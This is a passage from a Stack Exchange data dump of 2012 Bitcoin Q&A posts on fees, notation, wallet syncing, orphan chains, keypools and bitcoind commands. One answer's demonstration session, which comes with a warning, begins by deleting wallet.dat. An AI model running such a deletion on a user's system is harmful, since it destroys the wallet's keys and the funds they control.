ContentLicense="CC BY-SA 3.0" />
  <row Id="4067" PostTypeId="2" ParentId="4066" CreationDate="2012-06-25T14:55:41.880" Score="3" Body="&lt;p&gt;AFAIK there are currently no protocol-enforced rules on transaction fees. There are alternative clients as well as forks of the standard client that allow sending without a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is no guarantee that your transaction will be propagated and included in a block. Most of the nodes use the standard bitcoind, so sending a transaction without the fees expected by bitcoind will likely mean your transaction will not be confirmed for some time.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-06-25T14:55:41.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4068" PostTypeId="2" ParentId="4066" CreationDate="2012-06-25T14:56:12.830" Score="7" Body="&lt;p&gt;The Bitcoin protocol does not require any fee to be paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the standard client will require varying fees to be paid before the transaction is included in a block or relayed, all depending on the current load (up to 27kB transactions are free unless they are considered spammy, then fees get higher and higher).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some pools (like Eligius) don't include transactions without fees into their blocks, so that's another incentive to pay something.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-25T14:56:12.830" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4069" PostTypeId="1" CreationDate="2012-06-26T08:49:10.680" Score="6" ViewCount="379" Body="&lt;p&gt;What is the most common way for one to announce new Bitcoin-related bounties in the community? Is there some website that mediates in the process, or is everything done through the Bitcoin forum?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-30T09:17:57.370" Title="Bitcoin-related bounties" Tags="|services|websites|mining-reward|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4070" PostTypeId="2" ParentId="4069" CreationDate="2012-06-26T11:49:50.687" Score="1" Body="&lt;p&gt;I've seen some bounty sites pop up every now and then. Can't remember any of them. This fact alone suggests that you would not get anywhere the same kind as exposure as on the forum.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-06-26T11:49:50.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4071" PostTypeId="1" AcceptedAnswerId="4072" CreationDate="2012-06-26T14:18:17.907" Score="8" ViewCount="350" Body="&lt;p&gt;If I have 36,235.97 BTC, would I shorten that by writing that I have &lt;em&gt;36.2k BTC&lt;/em&gt; or would I write &lt;em&gt;36.2 kBTC&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that latter is proper for SI units, while the former is used more often for money, at least in the U.S.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="5406" LastEditDate="2014-09-03T12:04:50.970" LastActivityDate="2014-09-03T12:04:50.970" Title="What is the preferred way to denote orders of magnitude in BTC?" Tags="|currencies|terminology|" AnswerCount="3" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4072" PostTypeId="2" ParentId="4071" CreationDate="2012-06-26T15:30:04.460" Score="6" Body="&lt;p&gt;I would write 36.2K BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if I had 0.0362 BTC, I would write 36.2 mBTC.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-06-26T15:30:04.460" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4073" PostTypeId="2" ParentId="4071" CreationDate="2012-06-26T16:14:32.157" Score="-1" Body="&lt;p&gt;As BTC is written on the right side of the amount, it suggests being more like a science quantity, rather than a currency, which usually have their signs on the left side. So I'd argue that if you want to write 36,235.97 BTC, you should do it like 36.2 kBTC, but if you wanted to write BTC36,235.97, you'd write BTC36.2k. I haven't seen the latter version used, so probably the first one would be preferred, but then again, nobody would notice anyway...&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-26T16:14:32.157" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4074" PostTypeId="2" ParentId="4071" CreationDate="2012-06-26T17:00:07.893" Score="3" Body="&lt;p&gt;Definitely 36.2k BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you noticed, it's what is most used for money anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, for the record, I'd never short lesser units as @Meni suggested, because it would only cause confusion: it's not a SI unit we are talking about, it's money, and money uses different conventions.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-06-26T17:00:07.893" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4075" PostTypeId="1" CreationDate="2012-06-26T18:59:35.940" Score="2" ViewCount="1074" Body="&lt;p&gt;I recently purchased some bitcoins, which were sent via coinapult to my cell phone.  I received a text for the amount with a link to an online wallet (apparently not a true wallet but just an account within a larger wallet).  I would like to have my own wallet.  I’ve downloaded the bitcoin wallet program (for windows) from this website.  (bitcoin-qt) version 0.6.2-win32.  When I open this program it claims to be “synchronizing with network” a certain number of “blocks”.  In the “received  coins” tab is listed an address.  Using my coinapult via the link provided on my smartphone I sent a bitcoin to the listed address.  However I see no evidence it was received.  Do I need to wait for the synchronizing process to complete to send bitcoins to this wallet? &lt;/p&gt;&#xA;" OwnerUserId="1522" LastEditorUserId="516" LastEditDate="2012-06-27T03:54:05.140" LastActivityDate="2013-01-15T15:55:06.650" Title="New User, New Wallet" Tags="|wallet|bitcoin-core|installation|receiving|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4076" PostTypeId="2" ParentId="4059" CreationDate="2012-06-26T19:12:24.177" Score="6" Body="&lt;p&gt;Reading the whitepaper, it lists its features as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Being decentralised&lt;/li&gt;&#xA;&lt;li&gt;Disclosing of all information on balances and allowin everyone to check for fraud&lt;/li&gt;&#xA;&lt;li&gt;Decentralised money creating with difficulty adjustment, but apparently it can be done &quot;without requiring massive amounts of CPU speed&quot; (although some parts of the whitepaper appear to contradict this)&lt;/li&gt;&#xA;&lt;li&gt;Each transaction is secured with 1,536 bit OpenSSL RSA encryption, private keys will be used to decrypt them&lt;/li&gt;&#xA;&lt;li&gt;Money is created by participating in the network, rather than performing the calculations (no exact explanation was given how this would prevent abuse)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In general, it appear to be an attempt at creating a Bitcoin-like currency that is to be not-computationally intensive no matter the size of the network. Other than that it appears to replace digital signature algorithms with encryption algorithms and doesn't appear to do much else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As there is no real explanation of how will the system try fighting off abuse (say in a form of a botnet), or how exactly the reward system works without relying on computational power, I would currently label it as something that needs to get its facts straight and present them to be scrutinised. If I were to make a guess from the vague description I read, the system probably won't be as secure as Bitcoin. I'm guessing it tries to make all peers equal and reward them equally, which will probably never suffice.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-26T19:12:24.177" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4077" PostTypeId="2" ParentId="4053" CreationDate="2012-06-26T19:14:59.020" Score="5" Body="&lt;p&gt;bitcoind is often very slow when running over a remote disks (such as on a VPS), especially if that disk is slow.  Check the load of incoming transactions in debug.log, which lock cs_main during processing (which the RPC thread does as well).  If you have the memory, try tmpfs, or increase the bdb cache.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2012-06-26T19:14:59.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4078" PostTypeId="2" ParentId="4075" CreationDate="2012-06-26T19:15:24.847" Score="1" Body="&lt;p&gt;You can send Bitcoins to a wallet even without being synchronised, but you will most likely only see them appear once you do get synchronised. If everything goes well (it should), your address will be credited and the record will be stored in the block chain, allowing you to retrieve it upon synchronisation.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-26T19:15:24.847" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="4079" PostTypeId="2" ParentId="3749" CreationDate="2012-06-26T19:17:36.633" Score="2" Body="&lt;p&gt;There were some reports on Silk Road at the time, and they wanted action against Silk Road.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2012-06-26T19:17:36.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4080" PostTypeId="2" ParentId="4075" CreationDate="2012-06-26T19:17:50.250" Score="2" Body="&lt;p&gt;Using the default client (which it appears you are) transactions received while the client is online will usually appear immediately but transactions which occur while the client is offline will not appear until the block containing them is downloaded. Based on your description this appears to be what has happened, so your transaction should show up whenever that particular block downloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try punching your address into &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt; and you should be able to see your transaction as well as what block contains it.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-06-26T19:17:50.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4081" PostTypeId="2" ParentId="4052" CreationDate="2012-06-27T00:18:12.177" Score="9" Body="&lt;p&gt;Beyond the concerns about BL's ability to deliver, should they be successful it's &lt;em&gt;very&lt;/em&gt; questionable what kind of return you'll be able to get as an individual user even with the substantial increases in efficiency they promise.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin mining, the number of coins dispensed in a given time period is fixed and self adjusting to the relative strength of the network.  When the pre-orders are all tallied and the first production run ships, we're likely going to see lots of chaos as the total network hash spikes up with each block of BL units being plugged in, but eventually it should hit some kind of equilibrium.... At which point exactly the same number of coins will be dispensed to the people who own BL hardware, relative to the $$ they invested with BL.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I pre-ordered a Jalepeno yesterday.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastEditorUserId="575" LastEditDate="2012-06-27T04:36:22.750" LastActivityDate="2012-06-27T04:36:22.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4082" PostTypeId="1" AcceptedAnswerId="4083" CreationDate="2012-06-27T01:59:49.943" Score="11" ViewCount="2648" Body="&lt;p&gt;I believe my two title questions are the same (are they?):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heretofore, what is the longest chain of orphan blocks (of N blocks), such that if someone didn't wait for N+1 confirmations, they may have assumed transactions to be completed when they were not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, on the wiki's blockchain article, it shows orphan chains of two blocks (N=2). In this case, 3 confirmations would have sufficed to confirm transaction with absolute accuracy. &lt;a href=&quot;https://en.bitcoin.it/wiki/File:Blockchain.png&quot;&gt;https://en.bitcoin.it/wiki/File:Blockchain.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because it seems 120 confirmations is the gold standard, if you will, as generated bitcoins take that long to confirm. Most other transactions are considered irrevocable at 6 blocks, but what has been the minimum, thus far? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. Is this question even answerable!?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="5406" LastEditDate="2023-10-20T17:16:31.350" LastActivityDate="2023-10-20T17:16:31.350" Title="What's the longest chain of orphan blocks? (How many confirmations have been necessary?)" Tags="|transactions|blockchain|confirmations|stale-block|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4083" PostTypeId="2" ParentId="4082" CreationDate="2012-06-27T02:23:27.043" Score="6" Body="&lt;p&gt;The longest orphaned fork was created due the &lt;a href=&quot;https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures#CVE-2010-5139&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;value overflow&quot; bug&lt;/a&gt; occurrence, ranging from block 74638 to 74691 (so 53 blocks). Such a situation is unlikely to ever repeat though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, as far as I remember 4 blocks were overwritten by some strange behaving miner (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3332/what-can-be-done-about-the-no-transaction-block-relayer-currently-71-123-170-15&quot;&gt;related question&lt;/a&gt;), but I might be mistaken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, 6 confirmations is enough in most cases to prevent any double-spend attempts, and 120 confirmations is enough to give the developers time to release a fix for some major bug that might occur before the coin creation transactions are mixed in with everything else, creating a big mess.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-06-27T02:23:27.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4084" PostTypeId="2" ParentId="4069" CreationDate="2012-06-27T15:15:28.657" Score="1" Body="&lt;p&gt;You can use our service at &lt;a href=&quot;http://www.bitquestion.com&quot; rel=&quot;nofollow&quot;&gt;bitquestion.com&lt;/a&gt; to post bounties related to questions.&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="105" LastEditDate="2012-06-27T15:52:54.763" LastActivityDate="2012-06-27T15:52:54.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4085" PostTypeId="2" ParentId="4082" CreationDate="2012-06-27T15:26:26.520" Score="3" Body="&lt;p&gt;Yes, the question is answerable, although it might be hard to get the data to answer it (you would need blockchains from a few very long-running, well-connected nodes that contained both the main chain and orphan chains).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the answer. As ThePiachu says, the longest orphan chain was 53 blocks, but I don't think any confirmed-on-one-chain transactions ended up unconfirmed on the other chain-- I don't think there were any double-spends across those two chains.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-06-27T15:26:26.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4086" PostTypeId="1" AcceptedAnswerId="4087" CreationDate="2012-06-28T00:52:50.113" Score="4" ViewCount="793" Body="&lt;p&gt;The Bitcoin API call for walletpassphrase allows one to open the wallet for a set amount of time. If one calls it again while the wallet is still unlocked, we get an error of 'Error: Wallet is already unlocked.'. Does the call extend the amount of time the wallet is unlocked, or not?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-28T01:10:09.567" Title="Will calling &quot;walletpassphrase&quot; twice in a short amount of time increase the time the wallet stays unlocked?" Tags="|bitcoind|json-rpc|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4087" PostTypeId="2" ParentId="4086" CreationDate="2012-06-28T01:10:09.567" Score="3" Body="&lt;p&gt;After doing some experiments it appears that as calling the function results in an error, it is not processed, and thus the unlock time is not extended.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-28T01:10:09.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4090" PostTypeId="1" AcceptedAnswerId="4091" CreationDate="2012-06-29T11:15:47.243" Score="6" ViewCount="936" Body="&lt;p&gt;Google just recently (at Google I/O 2012) announced their new cloud product, the &lt;a href=&quot;http://cloud.google.com/pricing/compute-engine.html&quot;&gt;Google Compute Engine&lt;/a&gt;. I don't really understand what it is exactly but I heard it's basically some sort of VPS service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering if it would be suitable for running a Bitcoin client for a web application. I don't know what resources are required for running such, either do I know what prices you get when doing so in Amazons platform. Google says &lt;a href=&quot;http://cloud.google.com/pricing/compute-engine.html&quot;&gt;Compute Engine's pricing&lt;/a&gt; gives you the same computation power for half the price of competitive products, but I cannot really compare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did anyone made this consideration as well? Did anyone take a closer look at this?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2012-06-29T12:17:48.880" Title="Is the new Google Compute Engine suitable (and affordable) for running a bitcoind instance?" Tags="|bitcoind|websites|amazon-web-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4091" PostTypeId="2" ParentId="4090" CreationDate="2012-06-29T12:17:48.880" Score="5" Body="&lt;p&gt;Comparing the &lt;a href=&quot;http://cloud.google.com/pricing/compute-engine.html&quot;&gt;GCE's pricing&lt;/a&gt; to Amazon &lt;a href=&quot;http://aws.amazon.com/ec2/pricing/&quot;&gt;EC2's pricing&lt;/a&gt; for the cheapest tier, it appears that Google would be cheaper should the CPU usage be small (which in case of bitcoind it should be in most cases). However, as GCE is still early in development, few people could run benchmarks on it and the prices can change abruptly (much like the prices of Google App Engine changed after the early beta period).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it stands, Google Compute Engine looks like a viable option for cheap hosting of bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-29T12:17:48.880" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4092" PostTypeId="1" AcceptedAnswerId="4093" CreationDate="2012-06-30T00:49:09.527" Score="4" ViewCount="1206" Body="&lt;p&gt;A lot of people wanting to create their own service communicating with a bitcoind instance use virtual servers for hosting due to the low associated costs. Which service providers are the most popular and notable in this field?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-07-17T07:58:23.803" Title="Which VPS providers are the most popular or notable for hosting bitcoind instances?" Tags="|bitcoind|services|server|hosting|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ClosedDate="2015-07-17T13:09:26.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="4093" PostTypeId="2" ParentId="4092" CreationDate="2012-06-30T06:15:12.743" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.bitvps.com/&quot; rel=&quot;nofollow&quot;&gt;BitVPS&lt;/a&gt; offers a VPS with a pre-installed and synced bitcoind, and of course they accept payment in Bitcoin.  Email the owner (james@bitvps.com) for details.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-06-30T06:15:12.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4094" PostTypeId="2" ParentId="4069" CreationDate="2012-06-30T09:17:57.370" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://booster.io/&quot; rel=&quot;nofollow&quot;&gt;Booster.io&lt;/a&gt; (from the same guy as &lt;a href=&quot;https://propster.me/&quot; rel=&quot;nofollow&quot;&gt;Propster.me&lt;/a&gt;). It's rather new, so use at your own peril. Of course you should also advertise the bounty at the official forum and other channels.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-06-30T09:17:57.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4095" PostTypeId="1" CreationDate="2012-06-30T14:32:34.077" Score="15" ViewCount="8156" Body="&lt;p&gt;Suppose that my wallet is encrypted with a passphase and currently I have not provided &lt;code&gt;bitcoind&lt;/code&gt; with the passphrase to access the private keys section of the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I enter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getnewaddress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It prints a new address, say [someaddress], but where does it store the private key that goes with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I enter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind dumpprivkey [someaddress]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an error message since I have not provided the wallet passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I first provide the wallet passphrase and then try &lt;code&gt;dumpprivkey&lt;/code&gt; it shows the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I asked it to get a new address, I had not provided the passphrase, so how it store the private key?&lt;/p&gt;&#xA;" OwnerUserId="1536" LastEditorUserId="1547" LastEditDate="2013-03-20T17:50:30.693" LastActivityDate="2017-01-12T21:12:10.073" Title="How does bitcoind generate a new address if the wallet is encrypted" Tags="|wallet|bitcoind|encryption|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4096" PostTypeId="2" ParentId="4095" CreationDate="2012-06-30T16:48:36.140" Score="19" Body="&lt;p&gt;It gets it from the keypool, which has 100 pre-generated addresses by default.  The next time you enter your passphrase, it will refill the pool with new addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example that shows the pool running out, and refilling when the password is supplied.  The following commands were performed by a trained professional.  Please don't try this at home (especially the first 2 commands):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd ~/.bitcoin&#xA;$ rm wallet.dat&#xA;$ bitcoin-cli -daemon -keypool=5&#xA;bitcoin server starting&#xA;$ bitcoin-cli encryptwallet mypass&#xA;wallet encrypted; bitcoin server stopping, restart to run with encrypted wallet&#xA;$ bitcoin-cli -daemon -keypool=5&#xA;bitcoin server starting&#xA;$ bitcoin-cli getnewaddress&#xA;1Bf6TrgiBxzZhdtEWZuWuREkbfoAtmZ5xa&#xA;$ bitcoin-cli getnewaddress&#xA;1JzjmeH1LHzJ5JYzUu3wh36N7LWvfVeB2u&#xA;$ bitcoin-cli getnewaddress&#xA;1sjVdVJAAWB6JTsja4nEVezdnqiE6Ko3V&#xA;$ bitcoin-cli walletpassphrase mypass 3600&#xA;$ bitcoin-cli walletlock&#xA;$ bitcoin-cli getnewaddress&#xA;1DVZHRNbdBivqRKzas7iFT8emsb8EtcJT1&#xA;$ bitcoin-cli getnewaddress&#xA;1HBXkVkWCVhntzgkxdb9hnUxNeMdFqVssQ&#xA;$ bitcoin-cli getnewaddress&#xA;18n17UHshaufcufo5z1PBPAdErPWxesBhs&#xA;$ bitcoin-cli getnewaddress&#xA;1CofrGkqWrAmibBUgtLysknXdsBpDJARTs&#xA;$ bitcoin-cli getnewaddress&#xA;1NwWuba3khc31ebZU8fVAept2MDdnSndgV&#xA;$ bitcoin-cli getnewaddress&#xA;16QVdikDatH2FkQNkrRgGXrQ9LbEooHAPF&#xA;$ bitcoin-cli getnewaddress&#xA;error: {&quot;code&quot;:-12,&quot;message&quot;:&quot;Error: Keypool ran out, please call keypoolrefill first&quot;}&#xA;$ bitcoin-cli walletpassphrase mypass 3600&#xA;$ bitcoin-cli walletlock&#xA;$ bitcoin-cli getnewaddress&#xA;1BSDX4PiHKvdssjAzDLVACAAQvwiijmETV&#xA;$ bitcoin-cli getnewaddress&#xA;1JJphgnC5gqunLtbbLAwtN8LXRnCUYWARm&#xA;$ bitcoin-cli getnewaddress&#xA;17UJqrpuakgPPuxPTLa8LeeWVAKijZW66x&#xA;$ bitcoin-cli getnewaddress&#xA;16itq5LpuwyhtfbiHbQxVzJYYdGE7nQRoz&#xA;$ bitcoin-cli getnewaddress&#xA;1QA4EnXPUHquK9WBxBppicfBTD2gYTB9ic&#xA;$ bitcoin-cli getnewaddress&#xA;12bgaABsakRouK9NZyUAK1RAD9nmDtHQKa&#xA;$ bitcoin-cli getnewaddress&#xA;error: {&quot;code&quot;:-12,&quot;message&quot;:&quot;Error: Keypool ran out, please call keypoolrefill first&quot;}&#xA;$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-01-12T21:12:10.073" LastActivityDate="2017-01-12T21:12:10.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4097" PostTypeId="1" AcceptedAnswerId="4099" CreationDate="2012-07-02T05:27:26.823" Score="10" ViewCount="6420" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot;&gt;BitCoin Wiki (Transactions)&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...1 BTC = 100,000,000 Satoshi...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yet &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#What_do_I_call_the_various_denominations_of_Bitcoins.3F&quot;&gt;BitCoin Wiki (FAQ)&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...&quot;satoshi&quot;... is smallest denomination currently possible&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the future when the protocol decides to support more decimal places, will the value of &quot;satoshi&quot; change to match the smallest denomination then possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or will the value of &quot;satoshi&quot; fixed at 0.00000001 BTC?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="5406" LastEditDate="2022-02-10T00:25:48.393" LastActivityDate="2022-02-10T00:25:48.393" Title="Is the value of &quot;satoshi&quot; fixed or dynamic?" Tags="|value|divisibility|standard|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4098" PostTypeId="2" ParentId="4097" CreationDate="2012-07-02T05:58:06.403" Score="5" Body="&lt;p&gt;The system is using integers to represent amounts. 1 satoshi is the smallest unit (integer one). The satoshi is the base unit of the protocol (not the bitcoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be very hard to change this to support more decimals, but it seems also extremely unlikely that the need arises. With 21 millions bitcoins (i.e. 2,100,000,000,000,000 satoshi) in total, there is already a lot of decimal digits to go around.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;will the value of &quot;satoshi&quot; fixed at 0.00000001 BTC?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is more like the other way around, one bitcoin turns out to be 100,000,000 satoshi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could happen is that &quot;one bitcoin&quot; becomes too valuable, and you may want to come up with another name for a more convenient amount, say 0.001 BTC.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2012-07-02T05:58:06.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4099" PostTypeId="2" ParentId="4097" CreationDate="2012-07-02T09:10:34.637" Score="9" Body="&lt;p&gt;The value of a Satoshi is fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key word is &quot;currently&quot; (smallest currently possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the divisibility is ever increased, a Satoshi will still be exactly 0.00000001 BTC, even though there exists unit representing an even smaller amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There would need to be new names for these new denominations that are even smaller than a Satoshi, but dSatoshi (1/10th of a Satoshi), cSatoshi (1/100th of a satoshi), and mSatoshi (1/1000th of a Satoshi), would likely suffice.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-07-06T01:29:47.813" LastActivityDate="2012-07-06T01:29:47.813" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4100" PostTypeId="1" AcceptedAnswerId="4101" CreationDate="2012-07-02T12:54:34.957" Score="4" ViewCount="1052" Body="&lt;p&gt;The way to specify comment and comment-to parameters when calling bitcoind sendfrom at the comment line is not clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using sendtoaddress, this format works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind sendtoaddress 'sendToBitCoinAddress' '0.42' 'comment' 'comment-to'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The man page specifies sendfrom has this format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sendfrom &amp;lt;fromaccount&amp;gt; &amp;lt;tobitcoinaddress&amp;gt; &amp;lt;amount&amp;gt; [minconf=1] [comment] [comment-to]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However a similar usage to sendtoaddress results in an error. I've tried various permutations like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind sendfrom 'testAccount69' 'sendToBitCoinAddress' '0.69' 'comment 'comment-to'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="1101" LastActivityDate="2012-07-02T21:16:35.137" Title="Format of comment parameters on bitcoind sendfrom command unclear. Attempts result in 'error: type mismatch'" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4101" PostTypeId="2" ParentId="4100" CreationDate="2012-07-02T13:10:19.417" Score="4" Body="&lt;p&gt;It appears that you are missing the field &quot;minconf&quot;, probably setting that to any value would allow you to call the function properly.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-07-02T13:10:19.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4102" PostTypeId="2" ParentId="4100" CreationDate="2012-07-02T21:16:35.137" Score="2" Body="&lt;p&gt;The error says 'type mismatch' because you're specifying 'comment' as the value for minconf.  minconf is used to check that the account you're sending from has sufficient funds with the specified number of confirmations.  So minconf needs to be a number.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-02T21:16:35.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
